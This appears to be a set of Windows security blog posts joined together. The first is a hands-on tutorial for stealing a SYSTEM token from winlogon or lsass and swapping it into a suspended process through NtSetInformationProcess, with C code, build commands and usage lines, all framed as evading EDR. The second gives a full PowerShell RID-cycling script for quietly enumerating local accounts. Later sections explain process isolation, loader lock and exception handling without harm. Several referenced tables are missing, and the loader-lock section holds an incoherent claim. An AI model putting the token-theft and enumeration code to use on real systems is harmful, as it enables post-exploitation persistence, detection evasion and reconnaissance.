NtSetInformationProcess is not a Win32 API. It lives in ntdll.dll — the low-level native API layer that sits between the Win32 subsystem and the kernel. Microsoft doesn't document it in the Windows SDK. You won't find it in <windows.h>. We have to define its structures ourselves and load it dynamically at runtime.

/* ProcessAccessToken information class = 9 */
#define ProcessAccessToken_InfoClass 9

/* The structure NtSetInformationProcess expects for token swap */
typedef struct _PROCESS_ACCESS_TOKEN {
    HANDLE Token;    /* The new primary token to assign */
    HANDLE Thread;   /* The initial thread of the suspended process */
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;

/* Function signature — matches ntdll's export */
typedef NTSTATUS (NTAPI *pNtSetInformationProcess)(
    HANDLE ProcessHandle,
    ULONG  ProcessInformationClass,
    PVOID  ProcessInformation,
    ULONG  ProcessInformationLength
);

Three things to notice:

1. ProcessAccessToken_InfoClass = 9 — This is the magic number. NtSetInformationProcess supports dozens of information classes (for setting priorities, DEP policies, memory limits, etc.). Class 9 is specifically for replacing the primary token.

2. PROCESS_ACCESS_TOKEN — The structure is tiny: just a token handle and a thread handle. The thread handle must point to the initial thread of the suspended process. The kernel uses it to validate that the target process hasn't started execution.

3. NTSTATUS return — Native APIs don't use GetLastError(). They return NTSTATUS codes directly. 0 means success. Negative values mean failure.

At runtime, we resolve the function dynamically:

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

pNtSetInformationProcess NtSetInformationProcess =
    (pNtSetInformationProcess)(void*)GetProcAddress(hNtdll, "NtSetInformationProcess");

Why GetModuleHandle instead of LoadLibrary? Because ntdll.dll is always loaded — it's the first DLL mapped into every Windows process. We don't need to load it; it's already there.

Why does this matter for evasion? Because NtSetInformationProcess doesn't appear in our executable's import table. Static analysis tools that scan PE imports won't see it. It only exists as a string resolved at runtime.

Part 2: Enabling the Required Privileges

This technique requires three privileges. Not all are always available, but we attempt all of them:

enable_privilege("SeDebugPrivilege");
enable_privilege("SeAssignPrimaryTokenPrivilege");
enable_privilege("SeIncreaseQuotaPrivilege");

Key point: SeAssignPrimaryTokenPrivilege is the blocker. Regular administrators do not have it. This is why this technique is typically chained: you first use thread-level impersonation (steal & wear SYSTEM) to get the privilege, and then execute the suspended token swap from that elevated context.

The enable_privilege function itself is straightforward — open our process token, look up the privilege LUID, flip it to enabled:

static BOOL enable_privilege(const char* privilege_name) {
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    OpenProcessToken(GetCurrentProcess(),
                     TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    LookupPrivilegeValueA(NULL, privilege_name, &luid);

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

    CloseHandle(hToken);
    return (GetLastError() == ERROR_SUCCESS);
}

Part 3: Stealing the Source Token

We steal a SYSTEM token from winlogon.exe. Why winlogon? Three reasons:

• It always runs as NT AUTHORITY\SYSTEM

• It's always present on every Windows system

• It's a single-instance process — our PID lookup returns a deterministic result

/* Find the PID using CreateToolhelp32Snapshot */
DWORD pid = find_pid_by_name("winlogon.exe");

/* Open a handle to the process */
HANDLE hSourceProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

/* Extract its primary token */
HANDLE hStolenPrimary = NULL;
OpenProcessToken(hSourceProcess,
                 TOKEN_DUPLICATE | TOKEN_QUERY,
                 &hStolenPrimary);

OpenProcessToken always returns a handle to a Primary token — because processes only have primary tokens. The TOKEN_DUPLICATE | TOKEN_QUERY flags give us permission to both inspect the token and create copies of it.

Part 4: Why We Duplicate a Primary Token as... Primary Again

This is the part that trips up a lot of people:

"We already have a Primary token from winlogon — why call DuplicateTokenEx to create another Primary?"

The answer is ownership and kernel reference counting. The token handle from OpenProcessToken is a reference to winlogon's token object in the kernel. We can read it, but we can't assign it to a different process — the kernel would refuse because the handle's access control is tied to the source process.

DuplicateTokenEx creates a new, independent token object that we fully own:

HANDLE hNewPrimary = NULL;
DuplicateTokenEx(
    hStolenPrimary,           /* Source: winlogon's primary token */
    TOKEN_ALL_ACCESS,         /* Full access on the new token */
    NULL,                     /* Default security attributes */
    SecurityImpersonation,    /* Impersonation level embedded in the token */
    TokenPrimary,             /* Output type: Primary */
    &hNewPrimary              /* Receives the new, independent token */
);

The SecurityImpersonation parameter might look wrong since we're creating a Primary token — but it's not the token type. It's the impersonation level stored inside the token, which controls how much impersonation the token allows. SecurityImpersonation means "full impersonation rights."

Part 5: Creating the Suspended Process

Now the evasion magic begins. We create our target process — but freeze it before it runs:

STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);

CreateProcessW(
    NULL,                                   /* Application name */
    L"C:\\Windows\\System32\\notepad.exe",  /* Command line */
    NULL, NULL,                             /* Security attributes */
    FALSE,                                  /* Inherit handles */
    CREATE_SUSPENDED | CREATE_NEW_CONSOLE,  /* ← THE KEY FLAG */
    NULL, NULL,                             /* Environment, directory */
    &si, &pi                                /* Startup info, process info */
);

After this call:

• pi.hProcess — handle to the new process

• pi.hThread — handle to its initial (and only) thread

• The process exists in memory with a full address space

• But zero instructions have executed. The thread is frozen at ntdll!LdrInitializeThunk — before the Windows loader has even started processing DLL imports.

At this point, if you query the suspended process's token using Process Explorer or any API, it shows your current user — the person who created it. Totally normal. Totally boring. Exactly what we want the logs to show.

Part 6: The Token Swap — The Heart of the Technique

Six lines of code. This is the entire attack:

PROCESS_ACCESS_TOKEN tokenInfo;
tokenInfo.Token  = hNewPrimary;   /* Our stolen SYSTEM token */
tokenInfo.Thread = pi.hThread;    /* The initial thread of the suspended process */

NTSTATUS status = NtSetInformationProcess(
    pi.hProcess,                  /* Target: the suspended process */
    ProcessAccessToken_InfoClass, /* Information class: 9 */
    &tokenInfo,                   /* Pointer to our PROCESS_ACCESS_TOKEN struct */
    sizeof(tokenInfo)             /* Size of the structure */
);

If NT_SUCCESS(status) returns true — the swap is done. The suspended process's primary token has been replaced. Its old identity (your user account) is gone. Its new identity (SYSTEM, stolen from winlogon) is in place. No event was logged for this operation.

The kernel validates several things during this call:

Our code handles these failures gracefully — if the swap fails, we terminate the orphaned suspended process instead of leaving it hanging:

if (!NT_SUCCESS(status)) {
    /* Log the specific NTSTATUS error */
    TerminateProcess(pi.hProcess, 1);  /* Clean up the orphan */
}

Part 7: Waking Up the Monster

One final call:

ResumeThread(pi.hThread);

The suspended thread starts executing ntdll!LdrInitializeThunk — the Windows loader entry point. It loads DLLs, initializes the C runtime, and eventually reaches WinMain or main. But every single security check from this point forward uses the swapped token.

The process is SYSTEM. It was born as you, but it woke up as SYSTEM.

The before-and-after output makes this crystal clear:

Same process. Same PID. Completely different identity.

Why This Evades Detection

Let's map this against what defenders typically monitor:

The gap between "process creation event" and "token swap" is where the evasion lives. Most security products operate on a "check at creation, trust forever" model. This technique exploits that trust.

Required Privileges — Who Can Actually Do This?

This is important and often glossed over:

Practical implication: You typically need to be SYSTEM already to perform this technique. That makes it a persistence and evasion technique, not a privilege escalation technique.

The typical attack chain:

1. Get admin access (initial compromise)
2. Steal & Wear SYSTEM on your thread (thread-level impersonation)
3. From SYSTEM context → execute this technique to spawn a clean-looking 
   process that permanently runs as SYSTEM

The value isn't in getting SYSTEM — you already have it. The value is in getting a SYSTEM process that looks legitimate — clean parent-child tree, clean creation event, legitimate binary. Much harder to attribute to the attacker.

Building and Running

Cross-Compile from Linux (MinGW)

x86_64-w64-mingw32-gcc -O2 -o B3_suspended_swap.exe suspended_swap.c \
    -ladvapi32 -lkernel32 -municode

📦 Or grab the pre-compiled exe directly from the repository.

Usage

# Default: steal from winlogon.exe → spawn notepad.exe as SYSTEM
.\B3_suspended_swap.exe

# Custom: steal from lsass.exe → spawn cmd.exe as SYSTEM
.\B3_suspended_swap.exe lsass.exe "C:\Windows\System32\cmd.exe"

The Bigger Picture — Token Manipulation Technique Family

This technique doesn't exist in isolation. It's part of a family of token manipulation techniques, each serving different purposes:

Conclusion

The Suspended Process Token Swap via NtSetInformationProcess exploits a fundamental gap in how Windows and most security products handle process creation: they trust the identity established at creation time and don't re-check it afterward.

By separating process creation from identity assignment — using the CREATE_SUSPENDED window — an attacker can birth a process that looks legitimate in every log and every EDR callback, but wakes up running as SYSTEM.

The technique is powerful but not without constraints:

• It requires SeAssignPrimaryTokenPrivilege (SYSTEM-level), making it a post-exploitation evasion tool, not an initial escalation path

• The detection surface exists for teams that monitor NtSetInformationProcess with information class 9

• EDR products that re-query process tokens after creation callbacks can catch the mismatch

What's Next — Part 2: The Seclogon Way

In the next part of this series, we'll explore CreateProcessWithTokenW and the Secondary Logon service — a fundamentally different approach. Instead of manually swapping tokens on a suspended process, CreateProcessWithTokenW delegates the entire Primary token conversion to a built-in Windows service (seclogon). It operates at a lower privilege bar (no SeAssignPrimaryTokenPrivilege needed), accepts Impersonation tokens directly, and is significantly simpler to implement. But it introduces its own detection surface through the Secondary Logon service interaction and leaves a different forensic footprint.

We'll walk through the code, compare the trade-offs against the NtSetInformationProcess approach, and show when each technique is the better choice.

Stay tuned.

MITRE ATT&CK References:

• T1134.002 — Access Token Manipulation: Create Process with Token

• T1055.012 — Process Injection: Process Hollowing (shares the CREATE_SUSPENDED abuse pattern)

Finding local accounts—especially local administrators—is pure gold for an adversary. If a local admin account shares a username and password across multiple systems, that single misconfiguration lets an attacker pivot from one compromised machine to the entire network in minutes.

But how an attacker finds these accounts makes all the difference between triggering alarms or slipping by completely unnoticed.

The Loud Way: Why net user Gets You Caught

If you look up how to list users on Windows, you’ll usually find these common methods:

1. The Old WAY OF Command Line: Running net user or net localgroup administrators.

2. PowerShell / .NET / ADSI: Running commands like Get-LocalUser.

3. WMI Queries: Using wmic useraccount list brief.

Why Security Tools Trap This Instantly

Modern Endpoint Detection and Response (EDR) software acts like a hyper-alert security guard watching the command line.

The moment a non-standard background process (like an exploited app or a malicious document) suddenly spawns cmd.exe /c net user, the EDR flags it immediately. Security teams have written strict rules specifically to trigger alerts whenever these exact command-line footprints show up in the logs.

Because these standard tools leave an obvious trail, smart malware authors completely avoid them. Instead, they use a technique that creates zero new processes and leaves no command-line footprints: RID Cycling.

The same discovery goal, two very different footprints — and exactly what EDR records for each path.

Understanding SIDs and RIDs

To understand how RID cycling works, we first need to look at how Windows actually handles identities. In the eyes of Windows, absolutely everything—each user, computer, group, and even the domain itself—is treated as an object. And every single object gets its own unique digital ID card called a SID (Security Identifier).

A SID string is split into two primary parts: the Base SID (which identifies the authority/source) and the RID (Relative Identifier) (the unique sequential number at the very end).

One SID, taken apart: the Base SID stays fixed while only the RID at the tail changes from account to account.

A common point of confusion is how a machine tracks its own identity when it joins a network. The truth is, a domain-joined computer actually manages two completely separate identities running side-by-side:

The Blueprint of Windows IDs

• The Machine Identity:

  • Before joining a domain: The computer uses its own randomly generated Machine SID.

  • While joining a domain: Active Directory hands it a brand-new identity built as [Domain SID] + [Machine RID].

  • The Secret: The machine never merges these. It keeps both.

• User Identities:

  • Local User: Built using [Original Machine SID] + [User RID]. (It completely ignores the domain).

  • Domain User: Built using [Domain SID] + [User RID].

• Group Identities:

  • Local Group (Custom): Built using [Original Machine SID] + [Group RID].

  • Domain Group: Built using [Domain SID] + [Group RID].

Two worlds of identity. Every object is simply its authority’s SID plus a RID — only the authority (LOCAL vs DOMAIN) changes.

Wait, Where is that Domain Computer SID Actually Used?

If the machine keeps that [Domain SID] + [Computer RID] identity, where does it use it? Think of it as a Corporate Employee ID Badge.

During system boot, way before the login screen appears and before any human enters a password, lsass.exe starts up. The computer logs into the Domain Controller using its hidden machine account password. It flashes its Domain Computer SID to prove it is a legitimate corporate asset. This lets it pull down Group Policies and safely communicate server-to-server over the network.

The machine’s domain identity is a boot-time corporate badge — and it never touches the local Machine SID that RID cycling abuses.

Test It Yourself: Checking Machine's SIDs

You can see this identity mapping in action right now using a standard Command Prompt (cmd.exe):

1. View your current user account's SID:

   whoami /user
   

   Look at the output. The long middle part is your unique Machine SID, and the very last number (like -1001) is your User RID.

2. View your local groups:

   whoami /groups
   

   You might notice groups like BUILTIN\Administrators look like S-1-5-32-544. They don't use your Machine SID because they are Built-in System Groups. Windows hardcodes these globally with a generic prefix (S-1-5-32) so they are the same on every PC in the world.

1. Prove the rule (Create a Custom Group):
   If you run an elevated Command Prompt and create a custom group, Windows will immediately fall back to your unique Machine SID:

   net localgroup MyTestGroup /add
   powershell -Command "Get-LocalGroup -Name MyTestGroup | Select-Object Name, SID"
   

   Output: MyTestGroup S-1-5-21-[Your-Machine-SID]-1002

The Guessing Game: How RID Cycling Works

Now that we have the mental model down, RID cycling is easy to understand.

Instead of knocking on the front desk and asking for a full list of all employees (which security will flag as suspicious), an attacker walks up to an automated intercom and manually dials extensions one by one: 1001, 1002, 1003. If a name pops up, they write it down. If it says "Invalid," they skip it.

An attacker throws this logic into an automated loop:

1. Grab the Base Machine SID: They grab the local computer's unique Machine SID (which they can easily read from basic registry paths like ProfileList).

2. Build the Guess List: They programmatically append sequential RIDs to the end of that Machine SID.

   • They start with well-known ones: Machine-SID-500 (Always the built-in Administrator).

   • Then they cycle through user space: Machine-SID-1000, Machine-SID-1001, Machine-SID-1002...

3. Ask for a Translation: For every SID they generate, they call a standard Windows utility function: LookupAccountSid.

Windows looks at the generated SID and answers: "Oh, that ID belongs to a user named Veera." If the RID doesn't exist, Windows just returns an error, and the script moves to the next number.

The loop in one picture: hold the Base SID fixed, walk each RID, and let Windows translate the ones that exist.

# Step 1: Extract the local Machine SID directly from the ProfileList registry key
# We find any subkey starting with 'S-1-5-21-', pick the first one, and strip off the final user RID.

$RegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
$UserSIDSubkey = (Get-ChildItem $RegPath | Where-Object { $_.PSChildName -like "S-1-5-21-*" } | Select-Object -First 1).PSChildName

if (-not $UserSIDSubkey) {
    Write-Error "[-] Could not find any local user SIDs in the ProfileList registry path."
    exit
}

$MachineSID = $UserSIDSubkey -replace '-[0-9]+$', ''
Write-Host "[+] Discovered Local Machine SID via Registry: $MachineSID" -ForegroundColor Green
Write-Host "[+] Starting RID Cycling loop..." -ForegroundColor Cyan
Write-Host "--------------------------------------------------"

# Step 2: Define the RIDs we want to test

# 500 = Admin, 501 = Guest, 1000+ = Custom Users
$RIDsToTest = @(500, 501) + (1000..1050)

# Step 3: Run the translation loop

foreach ($RID in $RIDsToTest) {
    # Construct the full target SID string
    $TargetSIDString = "$MachineSID-$RID"

    try {
        # Call the underlying Windows translation engine (LookupAccountSid equivalent)
        $SIDObject = New-Object System.Security.Principal.SecurityIdentifier($TargetSIDString)
        $Account = $SIDObject.Translate([System.Security.Principal.NTAccount])     
        # If it successfully translates, print out the account name
        Write-Host "[FOUND] RID $RID -> $($Account.Value)" -ForegroundColor Yellow
    }
    catch {
        # If the RID doesn't exist on the system, Windows throws an error. We silently skip it.
        continue
    }
}

Why This Completely Evades EDR

This technique turns a dangerous search problem into an innocent translation problem, completely blinding security filters.

1. Registry Reads are Too Noisy to Log
   The ProfileList registry key is read constantly by legitimate applications to check user paths. Because EDR tools focus heavily on registry writes (to prevent malware persistence), logging every simple read operation of a standard system key would generate millions of useless logs and crush system performance. Security tools deliberately skip this background noise.

2. SID Translation Mimics 100% Normal Behaviour
   Legitimate Windows components constantly call LookupAccountSid every time they render file properties, display permissions, or process logs. To an EDR agent, an in-process script translating a few hundred SIDs looks identical to normal operating system behaviour. There are no suspicious process spawns, no noisy command-line flags, and no restricted administrative APIs called.

Two Processes Can Communicate

In Windows, two processes can communicate with each other. Even though each process has its own private virtual address space, they can still exchange data using kernel-mediated mechanisms such as shared memory, named pipes, sockets, or RPC (Remote Procedure Calls).

These mechanisms are controlled and safe, as they are managed by the kernel.

Then what Is Process Isolation ?

Process Isolation means that one process cannot directly access another process's memory in user space. (note : cannot directly access )

Each process runs in its own private memory area, ensuring that:

• One faulty or malicious process can't modify another process's memory.

• The operating system remains stable and secure.

However, kernel-mediated mechanisms allow processes to exchange data safely — but only through controlled access paths, not direct memory access.

So yes, processes can communicate, but not directly in user space. Instead, they do it indirectly through the kernel.

How Do APIs Like WriteProcessMemory and VirtualAllocEx Work ?

APIs like WriteProcessMemory and VirtualAllocEx can access another process's memory, but only if they have a valid process handle with the right permissions, such as PROCESS_VM_WRITE or PROCESS_VM_OPERATION.

Here's what really happens behind the scenes.

The whole WriteProcessMemory flow at a glance — Process A never reaches into Process B directly. The kernel reads the bytes from A's buffer and writes them into B's target address, the only legal path between two isolated processes. Follow the moving data block through the steps below.

Step-by-Step: How the Kernel Handles It

1. Memory Layout of Each Process

Process A has its own user space and a shared kernel space.

Process B also has its own user space and the same shared kernel space.

The kernel space is shared across all processes but is protected — only the kernel itself can access it. User-mode code in Process A or B cannot directly touch kernel memory.

2. Process Isolation Rules

• Process A cannot directly read or write Process B's user space.

• The kernel enforces this isolation using page tables and privilege checks.

• User mode runs with restricted access; kernel mode runs with full privilege.

3. Getting a Handle (OpenProcess)

When Process A calls OpenProcess(PROCESS_VM_WRITE, FALSE, B_PID), it is asking the kernel, "Can I get permission to write to Process B's memory?"

The kernel checks whether the caller (Process A) has the required permissions and whether it is allowed by security tokens and access rights.

If the check passes, the kernel returns a handle — a kind of permission ticket. It doesn't give direct access to memory; it's just a reference managed by the kernel.

4. Writing to the Other Process (WriteProcessMemory)

Next, Process A uses that handle to call WriteProcessMemory(hProcessB, targetAddress, buffer, size, NULL).

• The call starts in user space (inside kernel32.dll) and goes through ntdll.dll, which triggers the system call NtWriteVirtualMemory

• The CPU switches from user mode to kernel mode — execution enters the Windows kernel (ntoskrnl.exe).

• The kernel checks whether the handle is valid, whether Process A has the required permissions, and whether the target address is within Process B's user space.

• The kernel temporarily maps Process B's target memory pages into its own kernel address space. Then, ntoskrnl.exe copies the data from Process A's buffer (in A's user space) into Process B's target address (in B's user space).

The kernel can do this because it runs in ring 0, the most privileged mode of the CPU. After the copy, the mapping is released — meaning no process holds a permanent reference to the other's memory.

5. What Actually Gets Modified

The destination is still Process B's user-space memory.

But the operation is executed by the kernel, not directly by Process A.

So yes, the memory being modified belongs to Process B's user space, but it's done through kernel code, not by Process A's user-mode instructions.

In Summary

• Process isolation ensures one process cannot directly access another's memory.

• Communication between processes happens through kernel-mediated mechanisms like pipes, shared memory, and sockets.

• APIs like WriteProcessMemory don't break isolation — they work with kernel permission, using temporary page mappings handled by ntoskrnl.exe.

• The kernel acts as the bridge, performing controlled memory operations between isolated processes.

Loader Lock is a special internal lock , windows holds while loading or unloading DLLs

So Windows restricts these operations inside DllMain to avoid deadlocks or hangs.

So DLL Sideloading is not possible.

Inside DllMain, Windows holds the loader lock.

LoadLibrary() also needs the loader lock.

So:

• DllMain holds the lock

• LoadLibrary waits for the lock

• → Deadlock (process hangs)

That’s why loading another DLL from DllMain is considered unsafe and effectively “not possible.”

Loading another DLL from inside DllMain is unsafe and usually impossible without causing deadlocks.

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
    {
        LoadLibrary(L"example.dll");  // ❌ Dangerous here!
    }
    return TRUE;
}

what is exception ?

what causes an exception ?

what are the type of exception handler exist ?

who sees it first ?

What windows does by default ?

when you need to register handlers ?

What is windows exception (at OS level) ?

• An exception is an event that stops the normal execution of code

• It typically originates from one of two places :

  • Hardware (the CPU)

  • Software

Hardware (CPU) : The CPU tries to execute an instruction but cannot

Example : Access Violation , Integer Divide by Zero

•       int* ptr = nullptr; // Pointer is NULL (address 0) 
        *ptr = 42; // CRASH! Writing to address 0 is illegal
  

  The CPU executes the instruction to write 42 to address 0x0. The CPU hardware refuses and triggers an interrupt. The Windows Kernel catches this interrupt and converts it into an Exception Code (like 0xC0000005).

  Software : Your program explicitly tells the OS to trigger an exception using the windows API function RaiseException().

The Exception Handling Hierarchy (Order of Precedence) :

When that exception occurs, Windows looks for a handler in a specific order. It does not go straight to your try/catch block immediately.

Order of Precedence :

1. Debugger (if attached) : If a debugger is attached , windows pauses execution and lets the debugger know --> this is called as the first chance exception

2. Vectored Exception Handler (VEH) : if no debugger handles it (or none is attached), windows pauses the execution and calls VEH

   1. Priority : Highest priority within the application.

   2. Scope : Global (Process-wide). It handles exceptions from any thread.

   3. Registration : You must manually register this using AddVectoredExceptionHandler.

3. Structured Exception Handling :

   1. Priority : Lower than VEH

   2. Scope : Local (Thread based and stack based) , It looks for try , catch , except blocks in your specific function and then checks the function that called it , and so on (unwinding the stack)

4. UnHandledExceptionFilter : if no SEH handles it , the system calls a top level filter

5. Default system handler : if nothing else handles it , windows takes over .

Do we need to register the handlers (or) windows do this by default ? we need to register the handlers only if we want to prevent the application from getting crashed or log the error before dying. If we are okay with the program closing when it crashes, you do not need to write any handling code.

If you do not register any handlers (VEH or SEH) and your code crashes: 1. Windows invokes the Default Exception Handler. 2. This handler typically collects crash data (Windows Error Reporting). 3. It displays the "Application has stopped working" dialog or simply kills the process silently. 4. The application exits immediately. It does not recover.

Examples :

0x01 - The Default Behavior : No Handler

This program will just crash and close.

#include <iostream>

int main() {
    int* badPtr = nullptr;
    *badPtr = 10; // Exception triggered here by CPU
    return 0;
}

0x02 - Structured Exception handler

This is the standard way to handle errors in specific blocks of code

#include <windows.h>
#include <iostream>

int main() {
    __try {
        // Protected code block
        int* badPtr = nullptr;
        *badPtr = 10; 
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        // Windows found this handler on the stack!
        std::cout << "Caught an Access Violation! The program is saved." << std::endl;
    }

    std::cout << "Program continues execution..." << std::endl;
    return 0;
}

0x03 - Vectored exception Handler

This handler is called before the SEH block above, even if the crash happens deep inside a function.

#include <windows.h>
#include <iostream>

// Your custom VEH function
LONG WINAPI MyVectoredHandler(PEXCEPTION_POINTERS pExceptionInfo) {
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        std::cout << "[VEH] I saw the crash FIRST (Global Handler)!" << std::endl;

        // OPTIONAL: You can try to fix it, or tell Windows to keep searching.
        // EXCEPTION_CONTINUE_SEARCH tells Windows to let SEH (the next handler) try.
        return EXCEPTION_CONTINUE_SEARCH; 
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    // Register the VEH
    AddVectoredExceptionHandler(1, MyVectoredHandler);

    __try {
        int* badPtr = nullptr;
        *badPtr = 10; 
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        std::cout << "[SEH] Caught locally." << std::endl;
    }

    return 0;
}

Output of the VEH example:

I saw the crash FIRST (Global Handler)! (VEH runs first) Caught locally. (Because VEH returned CONTINUE_SEARCH, SEH got a chance).

Want to dive deeper into Windows internals?

Check out my other blog posts for more deep dives!